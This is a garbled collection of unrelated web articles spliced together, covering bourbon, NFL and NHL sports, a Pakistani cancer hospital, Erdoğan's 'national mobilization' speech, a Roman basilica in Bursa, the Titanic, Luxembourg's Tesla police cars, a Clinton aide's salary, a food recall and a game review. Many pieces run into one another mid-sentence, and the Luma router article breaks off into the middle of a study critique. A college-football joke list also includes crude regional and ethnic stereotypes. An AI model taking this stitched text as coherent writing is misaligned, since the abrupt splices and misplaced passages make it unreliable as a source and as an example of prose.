Bourbon's one of those subjects that tends to inspire strong opinions. Maybe it's the effect of the bourbon itself, but there are some bourbon extremists who claim that the very existence of the United States as a sovereign nation owes something to corn liquor. We'll stay out of that debate, but it can't be denied that bourbon whiskey is the U.S.'s only native spirit, made as it is from corn, rye (or sometimes wheat) and malt.
Bourbon's definition, and how it differs from other whiskies, is the source of some confusion, so we'll start with the basics: Bourbon is a whiskey (not "whisky," which is the Scottish spelling — although Maker's Mark does spell its name "whisky" because it uses a process similar to that of Scotch) that is made with at least 51% corn. It must be aged in new white oak barrels that have never been used before, the insides of which get charred with a torch before being filled with the liquor for aging. In order for a drink to be called bourbon, it can't have any flavor or color additives: just corn, water, wheat or rye, malt, and the coloring effects of the inside of a charred oak barrel. Finally, bourbon has to be between 80 and 160 proof (although, very few clock in above 130).
Now that you have the basic definition down, here are five things you didn't know about bourbon.
1- Bourbon can be made anywhere in the U.S.
2- Bourbon distillers can only use their barrels once
Many people assume that because bourbon is named after Bourbon County, Kentucky, where it was first made in the 1800s, that it must be made in Kentucky to be called bourbon. After all, isn't Jack Daniel's basically the same thing, only it's made in Tennessee? That's a common misconception. According to Maker's Mark Master Distiller Kevin Smith, whiskey can be called bourbon no matter where in the country it's made — it just has to be made according to the rules we laid out above. So why is JD's not bourbon? Because it's filtered through maple wood charcoal before being aged in oak barrels, which is an extra step that isn't included in making bourbon.When bourbon distillers are done with the barrels they use to age the bourbon, they are reused to age other non-bourbon whiskies. Reusing the barrels makes sense, because they cost around $120 each. For example, Maker's Mark and Jim Beam send some of their barrels across the Atlantic to Scotland, where they're used to age Laphroaig single malt Scotch
Read on for more of our five things you didn't know about bourbon...AskMen has partnered with Bespoke Post to bring you July's Box of Awesome — a kit to barrel-age your own alcohol. Check out the deal here.
The box has everything you need but the booze. Here's a little bit of key info on one of our favorite brown liquors — and one that would work perfectly for aging your own drinks.By: Will Burchfield
The Lions’ 24-10 win over the Giants on Monday night didn’t come without a cost.
Rookie linebacker Jarrad Davis left the game in the fourth quarter with a brain injury after his head collided with the leg of Giants’ running back Paul Perkins.
Davis, 21, was flung into Perkins’ path by Odell Beckham Jr., who appeared to commit a block in the back that wasn’t called.
The rookie went down clutching his head and was tended to on the field by team trainers and head coach Jim Caldwell. Davis was briefly evaluated in the injury tent on Detroit’s sideline before being taken to the locker room.
[RELATED: Caldwell Responds To Beckham Block On Davis]
He did not return.
Lions rookie gets hurt after taking a cheap shot to the back pic.twitter.com/f61C2jCVe5 — Detroit Videos 🎥 (@DetroitVideos) September 19, 2017
Davis apparently declined an interview request after the game and the team said he was barred from talking to the media, which means he’s in the NFL’s concussion protocol. He now faces a five-step return-to-play process.
Prior to his injury, Davis recorded six tackles, including the first sack of his career.
Jarrad Davis: Suplex King pic.twitter.com/USn9CTt6Az — Detroit Videos 🎥 (@DetroitVideos) September 19, 2017
Davis was replaced by fellow 2017 draft pick Jalen Reeves-Maybin. It’s unclear whether Davis will be available for the Lions’ Week 3 matchup versus the NFC Champion Atlanta Falcons.KARACHI: The Shaukat Khanum Memorial Trust is organising the groundbreaking ceremony of Pakistan’s third Shaukat Khanum Memorial Cancer Hospital and Research Centre in Karachi on December 29, 2016.
It is pertinent to mention that last year, on December 29, the second state-of-the-art Shaukat Khanum Cancer Hospital was inaugurated in Hayatabad, Peshawar.
The construction of a comprehensive cancer diagnosis and treatment facility in Karachi will not only provide the most modern cancer treatment to the people of Karachi and Sindh, but will also help raise healthcare standards and provide training and employment opportunities in the region.
Imran Khan, Chairman Board of Governors, Shaukat Khanum Memorial Trust, board members, hospital’s senior management and representatives from different quarters of the city, hospital’s well-wishers, donors and celebrities from different walk of life will be present at THE event.
The hospital management hopes that the masses at large will help generously to build the facility for patients, as they have helped previously for construction of Shaukat Khanum Memorial Cancer Hospitals in Lahore and Peshawar.President Erdoğan calls for ‘national mobilization’ against terrorist organizations
ANKARA
AA photo
Turkish President Recep Tayyip Erdoğan called for a “national mobilization against all terrorist organizations” on Dec. 14 during a speech to neighborhood heads at the Presidential Palace in Ankara.“As the leader of the Republic of Turkey, according to Article 104 of our constitution, I declare a national mobilization against the PKK [the outlawed Kurdistan Workers’ Party], DEASH [an Arabic abbreviation of the Islamic State of Iraq and the Levant], FETÖ [the Fethullahist Terrorist Organization], DHKP-C [the outlawed Revolutionary People’s Liberation Party-Front] and all other terrorist organizations, whatever their names, arguments or methods,” Erdoğan said.“We cannot leave our security solely in the hands of the security forces. I am calling on all my citizens to help our security forces,” he added.“Whoever has information about the activities of these organizations should immediately inform our security forces,” the president said.Erdoğan also again claimed that dark external forces were acting against Turkey’s interests.“As we are facing the greatest attacks in our history through the acts of these terrorist organizations, it is our right to retaliate,” he said.He noted that a total of 1,178 people have been killed during the fight with the PKK since July 20, 2015, while around 330 people have been killed in ISIL attacks and 248 were killed during the July 15 failed coup attempt.Erdoğan said 17 soldiers had been killed in the Euphrates Shield Operation, which was launched on Aug. 20 in northern Syria to clear Turkey’s borders of ISIL and the Syrian Kurdish People’s Protection Units (YPG).“However, the PKK’s losses in our domestic and foreign operations has reached 9,500. There have been 40,000 detentions and 10,500 arrests made in operations targeting their structures. ISIL’s loss is at a total of 1,800, and the number of arrests in operations against FETÖ has passed 40,000,” he added, while urging the security forces to take “harsh measures against terrorist organizations.”“Your state and your nation are all supporting you in your fight against terrorist organizations. Never hesitate to implement your authority. I want our security forces to strongly fight within the framework of the law,” Erdoğan said.Excavations unearth basilica in Bursa
BURSA - Anadolu Agency
The basilica unearthed in Bursa served both as a court and a religious structure in the early Roman era. AA Photo
Excavations at a tower in the Tophane portion of Bursa’s city walls have revealed a basilica from the early Roman era that could be one of the oldest structures ever discovered in the northwestern province.Architect İbrahim Yılmaz, who has been conducting the restoration projects on Bursa’s city walls, said the Tophane city walls restoration project included an area of 1,200 square meters from the north of the Saltanat Gate to the Kaplıca Gate.He said all restoration projects in the area had been approved by the Bursa Cultural and Natural Heritage Preservation Board and that the restoration had been divided into two phases because of long distances. The first phase includes two big towers, A and B.Yılmaz said that as part of the restorations of the towers, the A tower had been excavated. “During these excavations works, we have found the remains of some walls in the lower levels of the tower.We tought that the remains were from an early Roman-era basilica and decided to deepen the excavations considering that the remains would shed light on Bursa’s history of architecture. This is why a single-floor structure on the remains has been expropriated and ruined. When the excavations ended, a rectangular basilica structure with marble columns and wall decorations was revealed. This basilica served both as a court and a religious structure in the early Roman era. It is possibly the oldest structure in the city after the walls.”Speaking about the technical features of the basilica, Yılmaz said: “There is a round apse [the place for religious ceremonies] and a window bay in front of it. In the middle of the basilica is a nave and two rooms on its right and left sides. One of these rooms is in the northeast of the apse and the other is in its southeast.The name of the first room is the diokonikon, which is home to holy objects, and the other is the prosthesis, where gifts are accepted and kept. In the northwest of the apse there is a burial chamber, in which there is the skeleton of a priest.”Yılmaz said the ongoing excavations in the basilica aimed to unearth its entrance, namely the narthex and the atrium.“The emergence of the basilica, which is very unique and had not been known sofar, will increase the position of Bursa in the history of culture. Restoration works that willbe carried out after excavations will boost the city’s tourism,” he said.Yılmaz said cleaning works in the B Tower had revealed the remains of a casemate, an underground armored structure. “It is understood that the B Tower was the first tower protecting the Bey Palace inside the walls. This tower has been restored on its remains using traditional materials and methods, and regained its glory. Although the tower is two-storied, one of its floors was rebuilt and the other floor was organized as a view terrace,” Yılmaz said.The 100th anniversary of the sinking of the RMS Titanic looms before us, bringing with it a flotilla of commemorative coverage of what is already the most obsessively scrutinized maritime disaster in history.
Our fascination is driven by a perfect storm of factors surrounding a sinking that occurred on a clear night and a calm sea. Among them:
It was the maiden voyage of the largest, most luxurious ship then yet built. The loss of life was staggering — 1,517 people died on April 15, 1912, including some of the world’s richest and most influential people. The pride and self-confidence behind the “unsinkable” ship were overweening, down to the fact that there were far more passengers than lifeboat seats.
Beyond that, it was a stark reminder of the limits of technology in the face of nature.
One iceberg, an outsize chunk of frozen water, had destroyed the engineering marvel of the age, sending it 2½ miles to the ocean floor, where it sat unfound for nearly three-quarters of a century.
That is the stuff of myth and metaphor. And it is the anchor of our obsession.
“The human element continues to live on in this, and the disaster was just this terrible comedy of errors, both man-made and natural,” says Mark Gumbinger, a Wisconsin-based documentary filmmaker specializing in maritime subjects. “We’re still talking about it, and we’ll be talking about it 200 years from now.”
Gumbinger, who has made films about the Titanic and the Edmund Fitzgerald, the doomed Great Lakes freighter lost in 1975, listed a string of human errors in the Titanic disaster: the original 64 lifeboats reduced to 16 to save space, the shipbuilders’ decision to use cheaper rivets, the press for a transatlantic speed record despite iceberg warnings, misplaced binoculars in the Titanic’s crow’s nest on a moonless night.
Simple bad luck was also a factor. The Titanic’s launch was set back six weeks because of repairs needed on its sister ship, the Olympic. Without that delay, icebergs would likely not have been in the Titanic’s shipping lane.
The Titanic’s sinking, and the snuffing and altering of so many lives, has triggered any number of intriguing “what-ifs.” Think of it as a waterborne butterfly effect.
Consider: If mining heir Benjamin Guggenheim had not gone down with the ship, his daughter Peggy would likely not have inherited $2.5 million on her 21st birthday in 1919. Without that, she would have been unable to underwrite future art masters such as Jackson Pollock, Max Ernst, Man Ray and Paul Klee. Would the midcentury cultural landscape have been altered?
(In any event, we would have one less symbol for disasters fueled by hubris.)
Other disasters have since occurred that resulted from the collision of human pride with nature’s caprice. Some have even changed national policy, as the Titanic sinking changed maritime law regarding safety measures.
The 1930s Dust Bowl was largely the result of agriculture policy that allowed farmers to plow under the wild grasses that historically anchored the soil in Oklahoma, Texas and southeast Colorado. Drought came, then sustained winds, and an entire region and livelihood were laid to waste.
Vast California metropolises have been built along the San Andreas Fault, despite assurances from seismologists that a devastating earthquake is merely a matter of time. The 1994 Northridge earthquake in Los Angeles exposed inadequacies in building codes.
More recently, the 2011 tsunami in Japan that killed thousands and crippled a nuclear power plant also showed how nature trumps human ambition. History has yet to tell just how far-reaching the implications will be.
The Titanic disaster happened before the age of social media. There were no iPhones to transmit photos, footage and goodbyes from the dying ship. Just a few frantic SOS transmissions from the ship’s wireless room.
All that we have are the accounts of survivors, and the subsequent reconstruction of events based on examining the riven hull and shattered keel of the ship on the seabed.
Part of our fascination with the Titanic lies in the human psyche’s ability to wrestle with the scale of a calamity — and our cultural proximity to it. As Americans, we read stories about natural disasters in far parts of the world — 240,000 killed in the 1976 Tangshan earthquake in China, or 139,000 drowned in Bangladesh flooding in 1991 — and shake our heads. So ungraspable and far away.
But a space shuttle goes down, and some experts will tell you it’s about a 1-in-100 chance on any mission, and the images are seared into the national memory. So intimate and near. They were us.
This connection is part of why we remain captivated by the Titanic a century later. In the North Atlantic’s vast expanse, a luxury ship on its maiden voyage crosses paths with an iceberg in a placid sea. Less than three hours later, it shears in half and slips beneath the water.
Gone.
Except in a legend that has already outlived the last survivor.
William Porter: 303-954-1877 or wporter@denverpost.comFormer Liverpool defender Mark Lawrenson had revealed that captain Steven Gerrard told him that the Irishman might leave in January.
Although Rafael Benitez spent £20.3 million on bringing Keane to Anfield from Tottenham in the summer, the Irishman has only completed 90 minutes for Liverpool on four occasions this season and has been an unused substitute in their last two Premier League games.
Keane has managed just two Premier League goals in 17 appearances since he joined the club and they came in the same game, a 3-0 victory over West Brom at Anfield in October.
The prospect of Keane making a quick exit from Liverpool has again been raised by Lawrenson, who revealed details of a conversation he had with Gerrard on Saturday night in an interview on an Irish radio station.
Lawrenson told Today FM : “I had a drink with Steven Gerrard at a function on Saturday night, and we were talking about Robbie Keane. He was saying to me that they [Keane and Gerrard] share the same agent and he thinks something is going to happen with Robbie Keane in January. He thinks he’s going to be moved on.”
But a spokesman for Liverpool said on Tuesday night: “Mark Lawrenson’s remarks are his interpretation of a private chat between the two of them. They do not accurately reflect Steven’s opinion of Robbie Keane and they certainly do not tally with Steven’s recollection of the conversation itself.”
Meanwhile, Liverpool manager Rafael Benitez is away from the club due to an operation to remove kidney stones, but his assistant, Sammy Lee, maintains that there will be no disruption at the club’s Melwood training ground.
The Spaniard had the minor surgery on Monday and although he may return to the club’s training ground today, Lee claims that the Liverpool squad will go through training sessions already mapped out by the manager ahead of Sunday’s trip to Arsenal.
“We have already planned what we are going to do, so we will just be sticking to that,” Lee said. “Everyone knows exactly what we will be doing and the important thing is that we all muck in together and keep things running as normal while we’re without the boss.Luma is one of the new companies trying to change how home Wi-Fi works with cool apps and multi-unit routers. Its debut product was unveiled to the world late last year, and now it's finally ready to go on sale.
Units of the Luma router begin shipping today and will appear in Best Buy stores this summer. A single Luma router will cost $149, but Luma wants you to buy multiple units to improve connection strength throughout your home, so it's also selling a three pack for $399.
Luma offers robust (and very creepy) parental controls
On top of a better Wi-Fi connection, Luma |
is more important. In adults, religiousness has been linked with greater charitable giving and generosity, but a common problem of these studies is relying on surveys. While surveys are useful for collecting information en masse, people may report giving more to charity because they believe in contributing, even if they didn’t live up to their own expectations. We all know our memories are less than perfect, and it’s possible that people who are regularly encouraged to perform charitable acts may overestimate their contributions on a survey. Clearly, the best way to study the issue is using experiments in which people actually share items (like stickers) or by looking at records of giving.
The Chronicle of Philanthropy took the second approach by aggregating IRS charitable deductions to compare ZIP codes in terms of factors like religious identification, though the analysis was restricted to tax deductions and doesn’t tell us about individuals. By integrating statistics on religious affiliations of each area, the Chronicle’s study found that religious areas gave more to charity. What the data doesn’t tell is whether the extra contributions go to support local religious congregations and religious organizations. In the end, what do we call generosity to one’s own group?
The Oxford English Dictionary defines altruism as “disinterested and selfless concern for the well-being of others,” but categorizing a behavior as entirely selfless has troubled scholars for years. Books like The Selfish Gene,published in 1976, brought to the public the idea that what seems like altruism may actually be selfish on a genetic level if the act of kindness is directed to closely-related individuals. A closely related individual bears similar genetic material, so helping relatives could be construed as “selfish” behavior if you imagine a gene helping its likeness housed in another body. Alternatively, expecting help in the future could lead a self-interested individual to “perform” altruism. He might gain the esteem of the community by helping others publicly, while consciously or unconsciously waiting for the good deeds to pay off.
However, this strict terminology is not what we intend in everyday speech. Broadly, altruism is generosity. In the case of the current study, the researchers corralled altruism into donation of stickers to anonymous schoolmates. Perhaps a child refuses to donate stickers into an envelope so that he can take them home and share with his siblings or friends rather than a stranger. Does that qualify more as nepotism or generosity? If the children from religious backgrounds also happened to have more siblings, then the results might actually reveal a link between siblings and stickers. Correlation is a tricky indicator of causation, as we all know. Aside from this altruism test, are there other indicators of morality?
Religion often instructs believers in forgiveness and moral justice. To test children’s reactions to interpersonal conflict, the researchers showed cartoons of people pushing or bumping one another. Researchers determined that Muslim children rated the pushing or bumping as more “mean” than Christian children did, and in turn Christian children rated the videos as more mean than nonreligious children. When asked to assign punishments for the pushing or bumping, Muslim children tended to assign higher punishments than Christian and nonreligious children.
Interpretation of these experiments is also difficult. The findings could conceivably signal a stronger sense of justice in Muslim-raised children, and greater sensitivity to the victim for Muslim- and Christian-raised kids. Or, as the paper suggests, the children from nonreligious homes might be less harsh in punishing others. The moral course of action is not clear.
Overall, the study has provoked strong reactions from readers. Some have smugly inflated the findings (religious children as “jerks” ). Others have listed the shortcomings of the research at length. One conservative news source worried that Christian and Muslim children were analyzed in a single group.
The leader of the study, Professor Jean Decety, has stood by his results. Decety mused in an interview that every presidential candidate in the US “has to say that they love the Bible…to make sure that people will vote for them.” Decety argues that his findings “call into question whether religion is vital for moral development – suggesting the secularisation of moral discourse does not reduce human kindness.” Though a proprietary moral high ground for religion is problematic, Decety’s paper leaves questions open. We cannot confirm that religious upbringings cause differences in sharing and punishment, or that these differences are large enough to be meaningful in adults, but the questions raised are well worth answering.PHILADELPHIA — The Capitals have become a regular-season powerhouse the way the Rangers were last year, and Denis Potvin will tell you everyone should bow down in admiration to the Panthers, but the truth is the window is wide open in the East, where nobody else is particularly daunting.
Wide open for the Islanders if general manager Garth Snow will get off his assets and make the type of dramatic go-for-it deadline deal that never has been part of his DNA. Of course, to be fair (but why start now?), Snow’s teams generally have not been in position to go for much of anything at the deadline.
And the first order of business for the GM is to get a legitimate upper-echelon wing to play with John Tavares, who, but for a few months in 2013-14 when Thomas Vanek was by No. 91’s side, never has been joined by a bona fide All-Star on his line.
There is the need to add depth — if not specifically a puck-mover — to the defense that has hung in gamely with essential right-siders Johnny Boychuk and Travis Hamonic sidelined, but obtaining a partner in crime for Tavares should be the priority.
Kyle Okposo, Josh Bailey, Anders Lee, Brock Nelson, Ryan Strome? Useful players, Okposo more than that, and the latter four with undiscovered upside, but let’s put it this way: Bobby Nystrom was/is a terrific guy and an essential piece of the Dynasty, yet you sure didn’t see him playing right wing with Bryan Trottier.
The Islanders live in their own little world, even as they’re attempting to straddle Long Island and Brooklyn — a task as tricky as the commute. The organization operates to the beat of its own drum. If outside pressure on pro sports teams is a legitimate factor that can drive decisions, there seems to be none on the Islanders, even if they have not won a playoff round since 1993.
But there is an opening here. Yes, Washington does appear mighty formidable, but though the Justin Williams and T.J. Oshie acquisitions changed the club’s composition, the significant core that has gone 3-7 in playoff series is guilty until proven innocent in the postseason.
There is an opening, and Snow and the Islanders have both the cap space and inventory of young assets to exploit it. It’s great to have Lee, Nelson, Bailey, Strome, Hamonic and Calvin de Haan, all 26 and younger, here, with the 25-year-old Tavares; great to have a pipeline that includes Josh Ho Sang, Michael Del Colle, Ryan Pulock, Anthony Beauvillier and Matthew Barzal.
But they’re not all going to be Islanders, they’re not all going to be Islanders at the same time, and it is incumbent upon Snow to identify the assets — including those here already — who would best serve the organization as trade bait in what will be a booming rental market.
What would it take to add Eric Staal to Tavares’ left side? What would it take for the Islanders to pry Dustin Byfuglien or Andrew Ladd out of Winnipeg, if not both? And is it not worth investigating whether Steven Stamkos would be available to play right wing for a few months with Tavares?
If we’re going beyond rentals, and why not, don’t the Islanders have enough to get Jonathan Drouin? And is there enough for Snow to pull off a deal with old trading buddy Peter Chiarelli, now in Edmonton, to get young Taylor Hall onto No. 91’s left wing? Wouldn’t that be something?
According to the website, stats.hockeyanalysis.com, Kyle Okposo — an impending free agent, himself — has been on with Tavares for 1,034 of No. 91’s 1,913 five-on-five minutes the past two years. Bailey (825 minutes), Lee (507), Nikolay Kulemin (423), Strome (278), Nelson (276) and even lately Mikhail Grabovski (25) have had their respective turns as the third wheel.
But Tavares, who has not been at the top of his game on a consistent basis, could use a first-rate partner, and he could use one now. So could the Islanders, who are a shrewd move or two away from putting themselves into position to climb through the East’s wide-open window.
The John Scott All-Star scenario, in which a few wise guys with access to the Internet prevailed on fans to embarrass the NHL — and for what reason beyond the fact they could in this “Hey, look at me!” smarmy subsection of social media is beyond me — devolved into further farce upon his trade to the Canadiens organization that may disqualify him from participating as Pacific Division captain as he now belongs to an Atlantic Division franchise.
Though you’ve got to say Montreal GM Marc Bergevin sure didn’t give up very much to get an All-Star winger, don’t you?
So who in the world made the decision for the NHL Network to cut away from its cut-in to the Panthers-Canucks game on Monday just as the postgame hijinks at the Florida were getting interesting?
By the way, Jaromir Jagr nailed it when the Panthers were 8-8-3 on Nov. 20 and he said: “I thought we would have a better record, for sure.” Since then, the Puddy Tats (No offense, Denis, I’m having a peanut butter sandwich) have gone 18-5-3.
Parity or parody? Through Thursday, 15 of the NHL’s 30 teams had won between 20 and 23 games, making each an honorary member of the NFC East.
If the Canadian dollar continues its descent toward 60 cents on the U.S. buck, and thus increases the likelihood of escrow climbing over 20 percent next season, is anyone going to be surprised if the NHLPA does not exercise its 5 percent salary-cap bump, and could anyone really hold it against membership?
If teams are not planning on a decline in the 2016-17 cap — or at best, a flat $71.4 million — they would be making a significant mistake.
Saw where Doug MacLean, one-time GM of the Panthers and Blue Jackets and now one of SportsNet’s go-to guys behind the mike, referenced Mike Bossy and Al Arbour when talking about Alexander Ovechkin and the efforts by past coaches to get the Great 8 to be more attentive on the defensive side of the puck.
“Can you imagine Al Arbour telling Mike Bossy he had to check?” the only Panthers coach ever to win a playoff series (three, in 1996) asked rhetorically, as if the concept was beyond the pale.
Except, well, the answer is actually yes, since Arbour frequently pulled Bossy from the ice for defensive-zone draws his first couple of years in the league before No. 22 (not amused by the tactic) became as dangerous without the puck as with it (OK, almost) and developed into one of the Islanders’ best penalty killers.
Of course, Radar never gave Bossy fewer minutes in a playoff game than, say, Billy Carroll, the way former Capitals coach Dale Hunter gave Ovechkin less time than Jay Beagle against the Rangers in 2012.
So who won the Rangers-Ducks’ Carl Hagelin-Emerson Etem trade? The Penguins, that’s who.Given how his first season went, maybe it's smart that Bret Bielema only lives in motels that charge hourly.
If you can spread horseshit on toast, it stands to reason you could spread Florida's offense on a football field. Doesn't mean you want to, but it's doable, is what I'm sayin'.
I respect Jeremy Foley's decision. It's very selfless to quarantine Will Muschamp from every other college football program.
For a man named after a pope Urban Meyer sure ain't big on preventing his defense getting penetrated.
You can tell by Brady Hoke's waistline that the man's never had a good sense of when not to go for two.
I'm not saying they're soft on discipline, but move the Stanford Prison Experiment to Ohio State and those kids would just miss the first quarter of the FAMU game.
Y'all hear someone dumped human remains on the field at Jordan-Hare? The things people will do instead of play for Dan Mullen.
Baptists, for the record, don't usually get cremated. However, Oklahoma State does make exceptions for bears in November.
Hey, you know what Dabo likes for dessert? Bet you thought I was gonna say turnovers. I was, cause I'm about as good at comedy as Clemson is at holding onto the football.
The hardest part for Dabo about losing five in a row to us? Can't say for sure, but it's probably the counting part.
Tough to see Ed Orgeron go out like that, but I'm sure he'll find work again as Charlie Brown's Scariest Teacher.
It's okay, Tech. No one's outscoring you at DragonCon,'specially if you take to big girls in corsets.
It's weird to say it, but Duke's resume is so good they won't have to get a bowl game invite from their uncle over a more qualified applicant.
This might be the most perfect Big Ten Championship, because it features one guy who had a heart attack and another guy who faked one to get out of work.
Michigan State plays that Old Testament football. You know, the part where Moses takes the ball and wanders in the desert for 40 years.
I do think there's a case to be made for Auburn to get in over Ohio State, mostly because it'd be funny to see a Buckeye be on the other side of a jumping for once.
Atlanta is known for hittin' the pole hard, so Mizzou football really is a perfect match for 'em.
Missouri fans, please note that meth van parking in Atlanta is limited. Get it stolen, however, and you might get it back with better lab equipment in it.
Gary Pinkel or Roomba? It's a harder game than you think.
Nice to see Auburn doin' well in a computer that isn't used to order stuffed crust pizza for once.
If miracles were real, Auburn fans wouldn't still live in Alabama.
Kicks really ain't a friend of Mizzou. I get that.
But don't worry. Auburn's not known for late game heroics or weird shit. Y'all will be righter than a catfish in a blender.
I'd support AJ McCarron for Heisman, but if you give a man a hunk of copper that big in Alabama he'll just turn around and sell it for cash.
They call Oklahoma State/Oklahoma Bedlam because the state's just like that famous mental hospital: filled with the criminally insane, and bound to be shut down and taken over by the government at any minute.
Honestly, I'm happy FSU's likely headed to Pasadena. Every other time Seminole grads have gone to California, it's been for a job in porn.
Todd Graham winning the Pac-12 is like that time Cuba Gooding, Jr. won an Oscar. Since he's probably taking the U-Dub job, it's an achievement he'll follow up by ruining his career by working with dogs.
Well, at least Mack Brown's not going to be the first person to see his career go up in flames in Waco.
Memphis at UConn? I didn't know boredom had a conference championship game.
The Big Ten plays its game indoors because it ain't indecent exposure if you strip Ohio State naked in a private domicile with their permission. (See: case of Tressel v. Meyer, AZ case law, Jan 2007)
Sarkisian may seem weird, but Seattle's home to Starbucks, REI, and Microsoft. Exportin' average product at outrageous prices is their thing, y'all.
Gamecock fans, we'll be in Tampa, one of my favorite places because people will thank you for killing their older relations with errant tee shots. Great town. Better people.
Gotta respect Jim Grobe's career. He proved a potato can win an ACC championship before Miami can.
Don't sleep on Iowa. They've got bedbugs, and their buyout's insane.
In fairness, when Jim Mora said Washington was his dream job, he'd taken a couple of mefloquine pills before bed.
Houston Nutt's perfect for the Wake Forest job. He's had recruiting classes bigger than their total enrollment.
I hope George O'Leary leads UCF to the Fiesta Bowl, just so everyone can comment about how John McCain has REALLY let himself go.
Wisconsin vs. Auburn? Well, both fanbases let Jesus take the wheel, though Wisconsin's reasons are entirely different, and mostly go back to that bullshit about the time they drove through the front of the package store at 4 a.m.
You know what the difference between a day laborer waiting out front of Home Depot and a chauffeur/caddy is? Fifty bucks and trust, that's what.
Y'know, Dabo never said he had a championship team in FOOTBALL. Maybe he meant buddhism, since Clemson's not big on keeping possessions around.
Well, least you're gettin' an extra week to recruit, Coach Saban.Grand-Ducale police in Luxembourg confirmed today that they are purchasing two Tesla Model S sedans to use as patrol cars.
They are not the first police department to use electric vehicles.
The city of Los Angeles announced that it is leasing 288 electric vehicles, including 160 fully-electric vehicles (BEVs), which resulted in Los Angeles operating the largest city-owned fleet of pure electric vehicles. A lot of those vehicles went to the LAPD which started taking delivery of 100 BMW i3s last summer and two Tesla Model S sedans.
But those vehicles were used by support employees or investigation teams as they claimed that they didn’t have enough range or speed to be cleared as patrol cars.
In Luxembourg, the Model S vehicles will actually be used as patrol cars, according to local news RTL.
In term of range, the country is ideal for electric cars since it’s only 82 km (51 miles) long and 57 km (35 miles) wide. As for speed and acceleration, virtually all of the latest versions of Tesla’s Model S are now quicker and faster than conventional police cars, so it shouldn’t be a problem.
Of course, the Model S P100D Ludicrous is now famously the quickest production car with a 0 to 60 mph acceleration in 2.3 seconds, but it’s not clear which version Grand-Ducale police in Luxembourg are buying.
The new cars are part of a program of the Ministry of Sustainable Development to move government cars to electric. They are also reportedly purchasing electric vehicles for administrative employees.
Other police departments are still considering the Model S as a potential patrol car. Scotland Yard recently said that it was in talks with Tesla and other electric automakers to convert London’s police car fleet and the LAPD retrofitted one of their Tesla Model S with equipment for police patrol and they are testing it as a ‘high-pursuit’ police cruiser.Justin Cooper, the aide who managed Hillary Clinton's email server during her time as secretary of state, earned $127,200 in annual salary from the Clinton Foundation, emails published by WikiLeaks on Friday show.
Cooper was hired by the foundation as a "senior adviser" in 2009, the same year Clinton joined the State Department. Multiple witnesses told the FBI Cooper served as the main point of contact for issues with the private server in Clinton's basement as they arose during her tenure.
A second aide, Bryan Pagliano, also provided maintenance and support for "clintonemail.com" users. While Pagliano was employed directly by the State Department, he also reportedly pocketed a paycheck from Clinton for his work on the email network. It is unclear whether that money came out of the Clinton Foundation or from the Clintons' own wallet.
The email was included among the 25,000 emails published as of Friday by WikiLeaks from the inbox of John Podesta, Clinton's campaign chair. An unidentified hacker obtained the emails illegally. U.S. intelligence agencies suspect the hackers have ties to Russia.
Cooper appeared before the House Oversight Committee last month to testify about his involvement in the set-up and operation of the server in Clinton's basement. He was also interviewed by FBI agents in the course of their year-long investigation of Clinton's treatment of classified material.
The Clinton Foundation presented many potential conflicts of interest for Clinton and her staff during their four years at the State Department, from donors seeking and securing favors to Clinton aides accepting duel employment at both the foundation and the agency. The fact that Cooper took such generous payments from the foundation while working on Clinton's email server raises additional questions about the extent to which charity activities overlapped with State Department work.Based on the book of the same name by Margot Lee Shetterly, Hidden Figures follows the true story of Katherine Johnson, Dorothy Vaughan, and Mary Jackson (Taraji P. Henson, Octavia Spencer, Janelle Monáe)—the Black women who made NASA’s success possible during the heated early days of the space race. Based on the trailer, it’ll not only put the spotlight on the accomplishments of (and made possible by) these women, but it’s going to be a lot of fun, too—not to mention uncomfortably relevant to today with that last line.
From Shetterly’s site: “Most Americans have no idea that from the 1940s through the 1960s, a cadre of African-American women formed part of the country’s space work force, or that this group—mathematical ground troops in the Cold War—helped provide NASA with the raw computing power it needed to dominate the heavens.
“HIDDEN FIGURES: THE AMERICAN DREAM AND THE UNTOLD STORY OF THE BLACK WOMEN MATHEMATICIANS WHO HELPED WIN THE SPACE RACE recovers the history of these pioneering women and situates it in the intersection of the defining movements of the American century: the Cold War, the Space Race, the Civil Rights movement and the quest for gender equality.”
Mark this one down on your calendar (wow are you organized) for January 13, 2017.
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Elite Dangerous developer Frontier Developments has revealed that the game has sold over 1.4 million copies.
After a successful Kickstarter campaign, Elite Dangerous launched for PC in December 2014, and came to Xbox One in October 2015.
Exit Theatre Mode
The space exploration game reached the 1.4 million mark towards the end of 2015, shortly before launching its expansion, Horizons, on Early Access.
In September, Frontier announced that SteamVR support is coming to the game.
In IGN's review of Elite Dangerous, we said that that it's "a beautiful game and an amazing space sim."
Matt Porter is a freelance writer based in London. Make sure to visit what he thinks is the best website in the world, but is actually just his Twitter page.S&M International Inc. of Bayonne, N.J., is recalling Yang Sheng cooked salted duck eggs due to a possible contamination of Clostridium botulinum, the bacteria that causes botulism. The recalled product was distributed between August and October 2012 to locations in New York, Pennsylvania, Virginia and Michigan. The product is vacuum-packed in plastic with six eggs per 12.69 oz. package bearing the UPC 6949682803568. The lot code YS12-02C is printed on the product’s boxes. The New York State Department of Agriculture & Markets discovered that the product was not being processed in a manner to prevent the growth of harmful bacteria. Customers who purchased the product should discard it or return it to the point of purchase for a full refund. Symptoms of botulism poisoning include double vision, blurred vision, drooping eyelids, slurred speech, difficulty swallowing, dry mouth, and muscle weakness, according to the Centers for Disease Control and Prevention.This installment tells its story well even without experience with its predecessors. The storytelling through well animated and choreographed interactions and inspired dialogue is the best I've seen since Vampire the Masarade: Bloodlines. It keeps you engaged. But really only in the main quests. Combat is fluid and well paced, although it is too heavily skewed towards swordplay. Magic is basically a utility and mage builds are not satisfying. Ranged weapons are completely for utility purposes (like getting a flyer to the ground) so archer builds are out. It all seems a waste of the good bones. Even at the highest difficulty swordplay quickly becomes Assasin's Creed-like where you are God and easily and repetitively dodge, counter, and hack your way through everything. Meh. The world is large and beautiful as are the graphics. It does have the feel that it's been crammed full of stuff for the sake of stuff and if you're the completionist type, it's a chore. Most of the side and free roam stuff is boring. However the main quests are really great and well done. If you're playing on console like me there are several drawbacks that will wear on you: the load times are absurd, even on an external drive if you fast travel, die, or reload you will be waiting 1-2 min. Timed it at an average of 1:40. Many times longer than PC I hear. Looting is a hassle on console. They didn't include an acurate way to point at loot objects but did include thousands of stacks of boxes and sacks with 5 objects you need to loot separately but can't select easily. Gets aggravating to the point I hate looting - the bread and butter of RPGs. Inventory management is also a chore on console. You have hundreds of items and have to select them through lists where you can't directly click because you have no mouse. It also loads slow enough to bother you. Sigh. This would be 5 stars on PC. But the frustration factor on console makes it 4 for me. Don't let the cons keep 